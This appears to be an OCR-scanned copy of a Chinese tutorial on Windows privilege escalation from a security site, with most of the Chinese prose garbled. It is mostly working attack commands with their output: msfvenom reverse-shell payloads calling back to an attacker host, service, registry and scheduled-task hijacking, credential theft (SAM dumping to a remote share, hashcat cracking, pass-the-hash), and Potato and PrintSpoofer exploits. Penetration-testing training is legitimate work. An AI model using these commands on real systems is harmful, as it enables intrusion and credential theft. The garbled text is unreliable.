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£F Windows FRRIAYSRFZREY, 7 #E Windows Qo] /MEANE IFEBE

AFkF
AP IKFP BT &% Windows R 2%,

BRPRPAIASZH TE—ShINRE / BRES.
i "EER" K RIAMEZ AT BIE,
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BRSOKF
RSP (BLLEERRE) A1 Windows HIG TARSS .

ARSI ANBE T &% Windows R4t

AR 22— T EUARSIKF, BB Windows FRIEAIARIIIK &R SR,
EMEVARS IR B3N ARSI AMARSS .

Z:

APIKPRIABTZ1H, ArJREZ 1 TAP,
HAFE R RMILEZDR,

BN A WEBR. BFP) A —HEHNRIR,

Al (B0 "2EE AEF") B — T eiGHRIIR, XERGRRIERLER H])
ETE

o

£ Windows #, BZMEIRZR (BIHANTR):

Files / Directories
Registry Entries

Services

A and/or AR & BEBRATIE BRIFABRIKE T 23R I HlI71Z&R (ACL)

ACLs & ACEs

1hl0) Windows FRELEERIRIZZRMNTAIIERIZIR  (ACL) 124l
B ACL BHEIBZIH )RS E (ACES) A

S ACE BN T —PEM (FINAF. B) FEEHRE,
0x02 EE AR

msfvenom
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MRBATT AR ERERINR

BBAFATRILAAATIAT msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.175130 LPORT=4444 -f exe
-0 a001.exe

{E nc W #1758 shell

RDP

g02R RDP RIA (FEFATPINERE) , eI UK EAAVRABRB A nEIE
BARE, At —TEERnL

By Ul B

net localgroup administrators <username /add

Administrator-->System

ENEERPHRESERFMNR, FILMER Windows RZNENMER PsExec T

o~

https://docs.microsoft.com/en

.\PsExec64.exe —accepteula —-i —s C:\Users\user\Desktop\a002.exe

0x03 TR{EH

==

I

][/

FEFEA
WINPEAS and Seatbelt

Powerup&Sharpup

PowerUp:
https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/Po

werUp/PowerUp.psT

SharpUp: https://github.com/GhostPack/SharpUp
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FZRIERY SharpUp: https://github.com/r3motecontrol/Ghostpack—
CompiledBinaries/blob/master/SharpUp.exe

Powerup

1517 PowerUp, 18/25) PowerShell 21EF$ A dot MNEMIA, EHITATER
E:

PS. .\PowerUp.psl

1517 Invoke AllChecks FREUTTIAME

B AT REIRICE

PS Invoke-AllChecks

SharpUp

1517 SharpUp, 1BEoNan {1817 I HRAT XX
\ .\SharpUp.exe

5 PowerUp —1ERECE

Seatbelt

Seatbelt 2—MH =T R, EERTFENENRE,
SENFHAINAREIRERE, B UNH—DFEREEXER,
HB8: https://github.com/GhostPack/Seatbelt

FNm1%E: https://github.com/r3motecontrol/Ghostpack—

CompiledBinaries/blob/master/Seatbelt.exe

BITAIBREH HEE A BEENER:
.\Seatbeltexe all

BITHEMRE:

.\Seatbelt.exe <check <check
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winPEAS

WINPEAS B2—TIFERANTIE, BEAMURRSHETTTREREE, METRE
ERPIBPREETEAN.

https://github.com/carlospolop/privilege—escalation—awesome—scripts—
suite/tree/master/winPEAS

a7 28, BMB2AN—DEIMRIN, AEEHIT SRR
reg add HKCU\Console /v VirtualTerminallLevel /t REG_DWORD /d 1
TEITFTENE, FRERFENIER:

.\winPEASany.exe quiet cmd fast

.\winPEASany.exe quiet cmd systeminfo

accesschk.exe

accesschk 2—MEIHWIAE T, BEAMKATUEHNER
BRI MERERNERAFPIERZS BRI, BF, RSFEMEDN
Hag ERNERASAER— GUIES EULA" s8H &,

SERB<TR, 18 ERINESB /accepteua A< 1THIIBARAIEIN

0x04 AxifwiMHE

=
il

NZZEERIERFRIZD . FEO NN BRE A ST SR 2 [Ba9—

EWD

NIZSBRIEARZ A TERET . FBNZRE I SEENRGR AT,

EXRERARR:

1. FZ¢ Windows A / B4MERF / 3l (Systeminfo)
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2. BWILEAYRE: Google. ExploitDB. GitHub
3. miFEHITIT,
ENERER BENER 252 E1
TH

Tools Windows Exploit Suggester: https://github.com/bitsadmin/wesng

Precompiled Kernel Exploits: https://github.com/SecWiki/windows—kernel—

exploits 1X
Watson: https://github.com/rasta—mouse/Watson
LR

12EY systeminfo ap S I

systeminfo 1 txt

2. 11T wesng BIHEERE:
https://github.com/lowliness9/wesng

python wes.py 1.txt -i 'Elevation of Privilege' --exploits-only | less

3. BREFRIFRIRNSIBER:
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https://github.com/SecWiki/windows—kernel-exploits

4. JRiaF A

https://github.com/SecWiki/windows—kernel—exploits/blob/master/CVE—
2018-8120/x64.exe

5. RAHRMNR
kali F/25h nc Wi 22 ZRNR

x64.exe C:\Users\dayu\Desktop\a002.exe

0x05 RRS5imiME

Al

][

RSRAEBAEAEBT. ERRASITEIESIOES,

]

MRS ERAZIRETHEEE R, WFBEIC A ESHARRGRE
LHAT

it

N
EHRSNVEE:

A

sc.exe qCc <name>

BRSO ERPRE:

sc.exe query <name

BURSRVBC B 1IN
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sc.exe config <name <option= <value
Fif / (BILIRS:

net start/stop <name>
PRSEE IR

1. AR ZRIPRSINR

B
FTHRSHB ACL, EXFERETRSIMNR,
BENRELERN BINRSEEEE, REZWRS)
BLEAJERM (B0, BRSBSLE, RSED))

BLEERKR (i, RSELEE, RSPABEIHE)

MRBANBPBNENEEATITARSHECE, Tl USRS LRI
TIENAIE RS < —.

BEXEEZIR: WRINUENRSEE, B EELE / BeIRS, NIKATIEE
ETTERNEY

]

1.9MB Server #1717 L1& winPEASany.exe

python smbserver.py a@@l /var/www/html/
copy \\192.168.175.130\a@@1\winPEASany.exe winPEASany.exe
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a special privilege ower an shject or sosething is mis
ection is esabled or semething i well ¢

L -

Aty ) it e Sl Coogle Srededededfnde

3. AT LAMEEN "daclsve" FRSS .

iifedred G fedrfirdedotyirtirds Google drirfefodrirds drfrderdedden dods

4. BfITRT AR accesschk.exe SEHBIAIX—52:

EHERMERPIAEAZSENNEIXMG, BF, RSAIMERIN

.\accesschk.exe /accepteula -uwcqv user daclsvc

C:\Users\user\Desktop> .\accesschk.exe /accepteula —uwcqv user daclsve

C:\Users\user\Desktop> \accesschk.exe /accepteula —uwcqv user daclsve

RW daclsvc
SER

CE_QUERY_STATUS
VICE_QUERY_CONFIG
E_CONFIG

SERVICE_INTERROGA

SERVICE_STAR

https://www .freebuf.com/articles/web/281863 .html
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la -uwcgv user daclsvc

RW

STOP
_CONTROL

C:\Users\user\Desktop>]]

5. BRI HAIECE :

sc qc daclsvc

SERVICE_NAME: daclsvc
OWN_PROCESS
: 3 DEMAND_START

CONTROL B NORMAL

_PATH_NAME 4 "C:h rram Files\DACL Service\daclservice.exe”
LOAD_ORDER_GROUP
TAG H |
DISPLAY_NAME : DACL Service
DEPENDEMNCIES -
SERVICE_START_MNAME : LocalSystem

6. EFECERS MERTKNNREFZAIHIT:

sc config daclsvc binpath= "\"C:\Users\user\Desktop\a002.exe\""

binpaths=

er\Desk

7. BEIIRS AR RIRE#ITRE shell

net start daclsvc
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C:\UsershuserhDesktop>net start daclswvc
net start daclsvc
L2878 72 L 78 2 78 At 72 7R 28 78 ik 2

C:\Users\user\Desktop>|]

C:\Windowsh\system32>whoami
whoami
nt authority\system

C:\Windows\system32>]]

2. R5IHHIRS KRR

=
il

Windows FIEYRIIATINCBE MY BEIFIz T (F140, "whoami.exe" PJLARIT #E
A "whoami" Si517).,

—E0HTERINSEH, ATEDHA, HU—LLiERF. exe argl arg? arg3.. .
HEARSIHAB SRS BEN, WTHIRSRENNELE
LTRSS B

C:\Program Files\Some Dir\SomeProgram exe

RERE, XEAIBTT SomeProgram.exe

X Windows i, C:\Program PJEEZPIHITHY, B TSE: "Files\Some"

and "Dir\ SomeProgram.exe"

Windows JBIIHORGE ST P BEMEARAR R IEIE X
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WRBATPT AR LR AT 2 BU T Windows FS BRI E, 10 LAEIRRSH,

1TE.

ext

1. IB1T WinPEAS A ERSEEHEIR:

.\winPEASany.exe quiet servicesinfo

at : Lo el dded (gupdat
R B et Goagle Sefefanitetins

- R e

R e g

2. & "unquotedsvc" IRSBE—IARSIBNEKR , Hbth 858 TK:

C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

3. {£F3 sc HRIALL[EIRR

sc gc unquotedsvc
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qc
otedpathservice, e

2021/8/5

[No-Writ

ervice\Common.exe”

5. ERATHITHNRERINTHESER

copy C:\Users\user\Desktop\a002.exe "C:\Program Files\Unquoted Path Service\Common.

6. BRIIRS R RE#HITRE shell

net start unquotedsvc
13/40

3. JEMRANERSS

A

i
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B RSNE EMRFESFE.

AT EMERZBEIEAES ACL, 1R ACL BoEHIR, BMERNI T EEERE LR
%5, WEHBEBURSHERE.

eaH
1. {54F WinPEAS LIS BRSEE RIS

.\winPEASany.exe quiet servicesinfo

2. KW "regsvc" IRSFAVEMRBARES. HATTUBAERRBIAZ—<:

Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List

3. 5i& , thoJLA{EA accesschk.exe 3 HfiiA:

.\accesschk.exe /accepteula -uvwgk HKLM\System\CurrentControlSet\Services\regs
\Ye

4. BEEGRZEIMRESR, MEOBRINNREITARIT:

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXP
AND_SZ /d C:\Users\user\Desktop\a@02.exe /f
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5. BENiRSMARIREITRE shell

net start regsvc

C:\Usershuser\Desktop>net start regsvc
net start regsvc

\Windows\system32>chcp 65081
chcp 650881
Active code page: 65001

C:\Windows\system32>whoami
whoami
nt authorityh\system

C:\Windows\system32>]]

4. AN ZZHIBRSSPIAAT

=
it

MR A HATIIRIEARSS PTEET RO P A2EL, Tl I DA A sl TR R B =
RE.

o

BioE, MRBEELRGHNBLED, 1B0I2RIGPIRTIED

TR

1. 11T wWinPEAS DM B RS EEEREIR: [Ol:R

.\winPEASany.exe quiet servicesinfo

2. &I "filepermsvc" RBEEUINITIN, UFESPTATMATURNIT, HEAITUB
accesschk.exe FifIAX—S:
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.\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservic

e.exe"

3. BIBATATHRIGARSS AU 1D :

copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp

4. SRIPFTIITHIR @IS, DABZEPTATRIARSS

copy /Y C:\Users\user\Desktop\a@02.exe "C:\Program Files\File Permissions Service\flleperm

service.exe"

5. BEIRSHARIEHATR 5% shell:

net start filepermsvc
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m ~
G444
listening on [4nw] A444
192.168.175.

C:\Windows‘\system32>whoaml
whoami
nt authority‘\system

C:\Windows‘system

= W

1

[l

Windows PIECEAEERINIZITGS, MEESRIL

XL BhiatT BEIMERFAEEN. NMRIATFIUENBNETT I AT,
HE

BREBEIENASR (NFEFRARENESE), PIERRITNR

23

¥

1. (€M winPEAS fB RAAE AN B IETTAI AT X4

.\winPEASany.exe quiet applicationsinfo
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2. &, BAAIUFHTIEBETAIRITH:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

SR IE{E R accesschk.exe S WFE MYR

.\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

3. &¥ "C:\Program Files\Autorun Program\program.exe" Biz{T, AI#1TH
CIESPN

BIRInE D :

copy "C:\Program Files\Autorun Program\program.exe" C:\Temp

4. AR@SMNREBEAIHITHEIET

copy /Y C:\Users\user\Desktop\a@02.exe "C:\Program Files\Autorun Program\program.exe"

5. EREMNHITRE shell
XEEFE:

f£ Windows 10 £, Z®BEMUTFS DRERNBFPIORE—iiT, HLIIETH
P IRPHERERN "EEA" K.

Ox07 AR LHEEX

==

1

][

MSI X4 Z BT 2 BieF e X,
XA IBITRN IR F R 2= TR RINER,
Windows AHER SR (RIEER) NRBITXELZEEF,

MRZXHNE, BATFIAER—TEEREINEN MSI S,
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KR WINERM I E 8ESE I THEE.
RS "R LR EOTIRERN 1:

local machine: HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
current user: HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
MREREO—PAZ 1 SEER, WRERSAEIFR,
TR

1. (£ winPEAS EBEHZIRE TR iEMRIE:

.\winPEASany.exe quiet windowscreds

2. 5E, FapuHE:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstal
1Elevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstal
1Elevated

3. {EH msfvenom Bl R @IS

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.175.130 LPORT=4444 -f msi
-0 a@0l.msi

addl.msi

4. £1& a001.msi ZIEEH, H#E Kali EER—T&, HETREREFUELR
EE

msiexec /quiet /an /i C:\Users\user\Desktop\a@@1.msi
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Jesktop\a@@l.msi

Lihk
listening on [any] 4444
connect to [192.168.175.1 from localhost [192.168.175.245] 571@3

Active code page: 65801
( indows‘\system
whoami

nt authority\system

Windows'\system

0x08 Z2%5

I
EERtSEEEMEDL, WEHBRREELIRUENRSL.

Windows PIBESF3IE ZZEIEE MM, EAN Windows FEZMEBHN/L TN INEERZ 2

KEFEFIE Windows TR P FMER ZIiEIN
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Windows A58 M AL S ARFEER,

oA TP AT E AR AN R R Y

RERIEMRAED

N

AR RIRREMRPEE 23" AR RE

reg query HKLM /f password /t REG_SZ /s #Z&# 28 T/ Ireg query HKCU /f password
/t REG_SZ /s #HRIA /T M=

SR

1. {§/A wWinPEAS & E RZBBAE:

\winPEASany.exe quiet filesinfo userinfo

UJ}

(RAMBHFRIRKI B 55T

2. BE[ER

3. AT UFEIIEXLE : (FifiEMR)

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" reg query "HKCU
\Software\SimonTatham\PuTTY\Sessions" /s

4. £ winexe {EARIETIZERIINT

winexe -U 'admin%password123' //192.168.175.245 cmd.exewinexe -U 'admin%passwordi23' -
-system //192.168.175.245 cmd.exe

I winexe HOIEIEIRES

Win7 HE200 X FB A& 2 Win+R>secpol.msc >ASHEREE> 2RIk Ii> W £&15(0) : Ak P R R Z=FZL
SR FRE-WAMABFHITENINIE, FREERRXSH; SUERAGHHIITamd, MANTHS:
eg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system" /v LocalAccountT
okenFilterPolicy /t REG_DWORD /d 1 /f
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C:\Windows\system32>chcp 65881
chcp 65881
Active code page: 65001

shsystem32>whoami
WRE top-nudckSuiadmin

C:\Windows'system32>[]

Windows IR RETIERFIARS,

XERIFRIRIE AT St

AATATPI AZI A B BUX LR

1. {F A WinPEAS MEIRFEHERE:

.\winPEASany.exe quiet cmd windowscreds

2. UFFENEERRALRENERE
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Gt Gttt i i
o u
et e
#vird; Bt ibhima et
e Ll
Gttt
S B -
e e e
L)

bl e e
Wi WinlE- I MIGULT

C:\Usershuser\Desktop\tools>cmdkey /list
cmdkey /11

Currently stored credentials:

MicrosoftAccount:target=550_POP_Device
Generic
cdohgquzidzsz
this Llogon only

pa2ocdohgguzi
Local machine pers

Z5Z
1stence

Domain:interactive=DESKTOP-NU4OKSUNadmin
Domain Password
DESKTOP-NU40KSU\admin

A MBRARREFNEIE, WiziT A AR URIFT R

savecred.bat
5. FRARENERFENESIEABFP TR, H1TKE shell [0

runas /savecred /user:admin C:\Users\user\Desktop\a@0@2.exe

B & 1
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RUEEARTEARR LB BRIROEC & S
Unattend.xml S E— M F
BV Windows RG#1TAEN D BsIbisE
ERALE
BANIERERTE ZHFI pass NEAIXH, BUA config G-

dir /s *pass* == *config

B R LI B RPE S "password" —1EMIN M, H&EHBUEM—

PO

xml o, dni,

findstr /si password *xml *ini *txt

SE¥R

1. (€ winPEAS R rJgEBI & FHEAVE I

.\winPEASany.exe quiet cmd searchfast filesinfo

root@kall: -

2. & Unattend.xml {4

type C:\Windows\Panther\Unattend.xml
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3. KMl T EEARFNIKSEZY

root@iall -

T2 baseb4 RIEH

~

cGFzc3dvermnQxMjM=Admin

4. 7E kali TS

echo "cGFzecBdvemQxMjM=" | base64 -d
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C:\Windows‘system32>chcp 65001
chcp 65801
Active code page: 650081

C:\Windows\system32>whoami
whoami
desktop-nuidok5uhadmin

C:\Windows\system32>]]

SAM

o

RIS

Windows LMK EHEES  (SAM)  HFHEERD,
XEMRFHR—T2PNE, ZEZHRI AT SYSTEM RIS FHHE],
NRBBEEESIZE SAM MRS X4, NWe] URRIES

SAM/SYSTEM Locations

SAM F1 SYSTEM ST C:\Windows\System32\config directory

£ Windows 1z17HS, XHAHEBIE.,
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NN E MBI 8EIZET C:\Windows\Repair OF C:\Windows\System32\config\RegBack

directories
I 15
SC

1. SAM F1 SYSTEM SAHRYE 10 1/ T1EEY

copy C:\Windows\Repair\SAM \\192.168.175.130\tools\ copy C:\Windows\Repair\SYSTE
M \\192.168.175.130\tools\

3. THEREMH:

git clone https://github.com/Neohapsis/creddump?.git

4. BT SAM MIRAXHIN T ARG

python2 creddump?/pwdump.py SYSTEM SAM

5. {£F hashcat IR EIREGAFRE

hashcat -m 1000 --force a9fdfa@38c4b75ebc76dc855dd74f@dda /usr/share/wordlist
s/rockyou. txt

Hash

Windows =M ETm AN Z ZIEARENIEITFZ RS .

BATRI DMEREIME LA winexe, B pth-winexe, EREERBFPIRE LN D
LR

SE¥R

1. M\ E—¥f) SAM hIZENEIE RIS .

2. {EF% pth-winexe WIS H RERBLIET

pth-winexe -U ‘'admin%aad3b435b51404eeaad3h435b51404ee:a9fdfa038c 4b75ebc76dc855dd7
4f0da' //192.168.175.228 cmd.exe

3. {EA® pth-winexe MG &4 SYSTEM
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pth-winexe --system -U ‘'admin%aad3b435b51404ecaad30435b51404ee:a9fdfa038c 4b75ebc7
6dc855dd74f0da’ //192.168.175.228 cmd.exe

0x09Scheduled Tasks

Windows FILABCE NS ENE (10 8 5 D) SHRE NS (GIIBF

%) Bi7ES.

A

7
L

W

SEBERLEEMNIB,INRETT, BEEARNEENEMR, (BREA
) BthiatT

AN
d\‘

= FINT IS,

2B B BRI R T EMA PR RS PR,
JI PRI ABRIROPT AT RIESS:

schtasks /query /fo LIST /v

£ PowerShell H1:

Get-ScheduledTask | where {$ .TaskPath -notlike "\Microsoft*"} | ft TaskName, Task
Path,State

BE BN T B SG, BIaNsE— RS B S X R IE R B ia T4

£55,
LR

1. 7£ C:\DevTools BE®H, H— & ANCleanUp.ps1fld PowerShell i, EE
R :

type C:\DevTools\CleanUp.psl
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DevTools>dir

Volume in drive C is Winl@
Volume Serial Number

ector '!!‘n'

typ ]

# This script will clean up all your old dev logs every minute.

# To avoid permissions issues, runm as STEM (should probably fix this later)
Remove-Item ( evToolsh#.log

\DevTools>]

2. AN FARGEFPNEMIETED . HITTLAER accesschk.exe &
B ZS AR

C:\Users\user\Desktop\accesschk.exe /accepteula —quvw user  C:\DevTools\CleanUp.ps]

BRBAVBENTRIX T,

FILE_WRITE_EA
DELETE

=
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3. EHIAs:
copy C:\DevTools\CleanUp.ps1 C:\Temy
4. kali #1Ti0F

5. {£M echo /(@ shell FTHAT VIR MIINZIRIAKE -

echo C:\Users\user\Desktop\a002.exe >> C:\DevTools\CleanUp.psi

C:\DevTools>echo el - avToolsh\CleanUp.psl
echo C:\Users\userh y y C \ nup.psl

C:\DevTools>]]

6. FEHMEMESET (ENXIETED ) #HI1T/R#E shell

listening on [any] 4444
inverse host lookup failed: Host name 1::::Pup 1:=|i1UI-=
38] from (UNKNOWN) [192.168.175.245] 6312

C:\Windows\system32>]]

AREM GUI N ARER

Z
i}

ARL (BRIH) AR Windows B, AP A DERSEREEANRIZITEL GUI
Nz RO BR

BEBIFZ A MAREKE GUI MBI <iER, BIRERRAE Windows If

)
HEo

Since KIIZIZTINEBEEAMNR, LML RMREIEITIXENR
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1.1EA wser B9 GUI &F Windows 2 MK

2. WHEmE LA "AdminPaint" [HRIEH

3. ¥FTFF cmd FizfT:

tasklist /V | findstr mspaint.exe

B ABFIX D mspaintexe 121517 & I YR

4. 1t ZET, BE XH, AE 1T

5. ESMBNAT, KRNEEHEN:

file://c:/windows/system32/cmd . exe

>

L IR NOAZFT T AR IR BRI T

0x10 BN FBiEF

]]
a

N

1]

][/

AP BIIRERTEBERPRRES T,
Windows B — BRRFNBIE R, FIENAREFENZ/EE)
AP

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
RFATRI A XD E R RAIEX M, Tl A AER 58 shell
BIE R BRI A AT RINR,

XEIETE: DIUEARIZL XS Ik

TRMH—" VBScript BIZAHATRIZ 1R IZ 5 T3

Set oWS = WScript.CreateObject("WScript.Shell”) sLinkFile = "C:\ProgramData\Microsoft
\Windows\Start Menu\Programs\StartUp\reverse.Ink" Set oLink = oWS.CreateShortcut(sLink

File) olLink.TargetPath = "C:\Users\user\Desktop\a002.exe" oLink.Save

S
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1. {8 accesschk.exe MEBoIITIINRE F:

.\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Pr
ograms\StartUp"

2. BYFFPARNRE B RHTA]

3. {¥/4 VBScript €lliZ2 4 CreateShortcut.vbs
B DASE BT 3842

4. {$H cscript B{THIAN

cscript CreateShortcut.vbs

5. #1752 5% shell

Ox11 EL RN HIZER

=
it

5BELENBEFERIOASENRARABETRIELRENERVEE.

AT, —ERRARBEPOatFER, FAAENENRR BRI AEF
BAREINAREE

BEABS
FohyERBIEITIER:
tasklist /v

BA VAR LMEA Seatbelt #RIFIMERTE:
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.\seatbelt.exc NonstandardProcesses

winPEASany 7] A

.\winPEASany.exe quiet procesinfo

ana_cwinlhZtapewy \Srarchil. ene” - Serverfes :CortansUl AppRatedgqad ey saslBeRyl ] futaditvep) e

SR TR e s e P EAEeCP, ane” ~5a rvarians | Wisdees, IATeraal MebRw T Lae , CoRtEnTPToCERsSETVET

Frogran FiLes Wi ndowiApps L rese T L Windows P Los_T015, 18108, 19418, 8_nth_ ey bBdB bl \Ric redel | Mholos ane” - berneriane | Agp. Applos Liken cqdiBhy Tawdp Ty Enquisp i 7 i ote

Ladows’ Sy ntemhppn i cronof T . Hicrosad tEdge_Bwel v ldBbbwe'Hic rosad thdge. sxs” -Serverfame:Hicrosaftidge. Appidnk jbc culeflHiaEk gl i gristodedichs . nca

Hot Potato 2/EM YRRV BILAIA MR

[BET#AT NTLM AR DUERIE R RNR.

ZIFIBE Windows 1ERN RGBT E M EIIE

FEFP{ER NTLM Th[0)—"MEBRAY HTTP ARSS2:. NTLM ZEiE

https://www .freebuf.com/articles/web/281863 .html 33/40



2021/8/5 FHFZ AR WindowsIREAY - FreeBuf 2% 22417l T
AE NTLM EREEERESE] SMB DERGam AT,

e E

&R F Windows 7. 8 MR HBRRAHY Windows 10
SER (win?)

1. potato.exe %] Windows L.

2. FTE kali B9 0T

3. 1&17 exp

Apotato.exe —ip 192.168.175.228 —cmd "C:\Users\user\Desktop\a002.exe" — enable_httpserver tru

e —enable_dsfender true —enable_spoof true — enable_exhaust true
4. 5 Windows Defender 51, S Fahfil & EH#
SRR
RS
B ANBRSIKF RPN, BEILEERER.
RSP ERIC)EKS, FHEE 5T HRINR,

Rotten Potato
ARSBIKF R AR R G ERERNAR S B
EHE%W&F’ET%E@ SelmpersonatePrivilege *T%ﬁﬂaﬁﬁﬁo

Selmpersonate / SeAssignPrimaryToken

RS IR BB EEXM TN,
ENFIRPEDEMES (BRAFHF)
BB XENRAVEOI R BRI OB T

Juicy Potato(12+5)
https://github.com/ohpe/juicy—potato
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BHAEE T ANKZT

Rogue Potato

GitHub: https://github.com/antonioCoco/RoguePotato

Blog: https://decoder.cloud/2020/05/11/no-more—juicypotato—old-story—

welcome-roguepotato

Compiled Exploit: https://github.com/antonioCoco/RoguePotato/releases
SCiR

1. £l PSExec64.exe 1 RoguePotato.exe F|J Windows E

2. 7£ Kali Li&E socat EXM@2s, #HITIHOEK

sudo socat tcp-listen:135, reuseaddr,fork tcp:192.168.175.228:9999192.168.175.228: Z5EAEIIP
3.kali FE 40T

4. FFAERAMLIRTR, A PSExec64.exe R FAAHARSMFIEITHIRE
Hhes:

C:\PrivEsc\PSExec64.exe /accepteula —i —u "nt authority\local service" C:\Users\user\Desktop\a00

2.exe

5. kali FE B —1 1k

6. M1Eiz1T RoguePotato.exe SRR & #1758 shell

C:\PrivEsc\RoguePotato.exe -r 192.168.175.130 —-I 9999 -e "C:\Users\user\Desktop\a002.
exe"192.168.175.130: ZkalifgIP

PrintSpoofer

PrintSpoofer @ — M T EHIE A IERE R ARSFZ IR T
GitHub: https://github.com/itm4n/PrintSpoofer

Blog: https://itm4n.github.io/printspoofer—abusing—impersonate—privileges
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BATAYFTENNLIRE : hitps://www.4hou.com/posts/4VB6

SCi%
1. B4l PSExec64.exe 1 PrintSpoofer.exe JH475! Windows E
2. 7% kali FFER AR

3. FHEEAMLIRT, FA PSExect4.exe S AENAMARSIKFIEITHIROD
IR

C:\PrivEsc\PSExec64.exe /accepteula —i —u "nt authority\local service" C:\Users\user\Desktop\a
002.exe

4.7t kall A2 —"Tm

5. MEATHEINARE, MEBBRFMNRNREINTITIT:

C:\PrivEsc\PrintSpoofer.exe —i — ¢ "C:\Users\user\Desktop\a002.exe"

i ¥ &
HIE

AT Kali ETRENEESS, BSZREAREFZENERCD L0
EXLEFERT , HMNBEF kali 4% 3 Windows LRI ERIE

AT DAMEAR plinkexe SEB Putty B9 makers SEMEIX— S

plink.exe

plink.exe AYIm %8R a9 LRI —RRASTL

plink.exe <user>@<kali> -R <kaliports:<iargei—IP><target—port

<Bfn - P> EEZAMAY (fI20 127.0.0.7)

plink.exe EKING SSH 22l kali, FAfE1£F SSH fFER &im,

SC

1. {FF winexe L& F
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winexe -U ‘admin%password123' //192.168.175.228 cmd.exe

2. FABEAWTRT, EFEA BHAE:

netsh advfirewall set allprofiles state on

3. A winexe L UIEERA,

4.5 plink .exe XAEEHIE Windows, fAJ57E Kali + kil 2 SMB fR552:
5. iR Kali FAY SSH ARSS 25 IEfT 15T root &R,

FOB  /etc/ssh/sshd_config FRARIERE PermitRootlogin yes 1760,

WBENE, BEMESN SSH RS,

6. 7£ Windows |, {#H plink.exe ¥§ Kali _FHJIRO 445 ¥ &% Windows I [

445:

plink.exe root®192.168.175.130 -R 445:127.0.0.1:445

i 71 Kali £, Bl winexe ap S AFE@AHIIEZE (37 127.0.0.1) , AEHITIZ

< DUBIT I [ B BIFREY

winexe -U 'admin%password123' //localhost cmd.exe
getsystem(fR B EEMTHEEH)

1518) 2 hE

1h] < hEE Windows FRTFER P A RAVS RS R B M M4TAL
FIhOSRE—TRAPERNEE, SERIALSE,

SR ER—THTHZR, 1N ERIEV D)L hEE S FIFHMIIEFTHAZ

BROp B E-— RS SRERTENZ RN S S —THPNZE L T —1ikis

Windows 7334 processes/threads EHI T8 S hE,
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B D)L hE Pl LU E B ETh e A8,

MRBATAILOEN—T8RE, FefIH eI MERRX T IhEE ERHIERILEI<hE,
AR BB HERAYIRILHAE

BRI BEE 2 Windows F Linux RS "&1&" =

systeminfo | findstr Windows

HigP DelZEamBEE, BEfFEiEr DT mR e BN E NEENEE
plEa 2 EBNEER] DURIZ 2 £ TR R EBNHEN,
getsystem

msf A getsystem [R5 rJgERE RS system X[R

F P #XBR

oA

1

il

ad

£ Windows &, IR IKFPMADEISER ",

DA F M LR ROVA 0N . H o —228E 7 p ARSI T B0 S R4S AR T
2R GHINBR.

S AP AR

whoami /all
SelmpersonatePrivilege
sIDMERELE
SeAssignPrimaryPrivilege
sIMERELE
SeAssignPrimaryPrivilege
PJAERETS
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SeBackupPrivilege
2P X PTB A RAVIZEA R

HERGLE, NEMIIRY ACL ERUNER, B/ A EIEURRAYEE MOEA R TR
EIe% 18

RE AT RS B T 5B B B
SeRestorePrivilege

SeRestorePrivilege BT I RS FATEN RIS 0N, MAE TR ACL 4
,

AN A =F 5 T
EARSS IS

BEAGHE(EMERY DLL
BECEMTRIRE

SeTakeOwnershipPrivilege

SeTakeOwnershipPrivilege TP EUEMEN, EXNRLE (EABENR)
—BRRE—TNR, #MAIMENRER ACL HEFIRE 25 AR
5 SeRestorePrivilege 1# AR EEE
B IR (ESR)
SeTcbPrivilege
SeCreateTokenPrivilege

Sel_.oadDriverPrivilege

SeDebugPrivilege (used by getsystem)

YRR T 2R
1. KEAPF (whoami) F12B( net user<usernames )

2. 1517 WIinPEAS
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. [ENE TR T MEMHA

W

https://github.com/swisskyrepo/PayloadsAllThe Things/blob/master/Methodolo
gy%20and%20Resources/Windows%20—-%20Privilege%20Escalation.md

REBAFKZCNELZEDE, BLTE FTEZEBEHSENSE, EREN!

BRI ARBEH!
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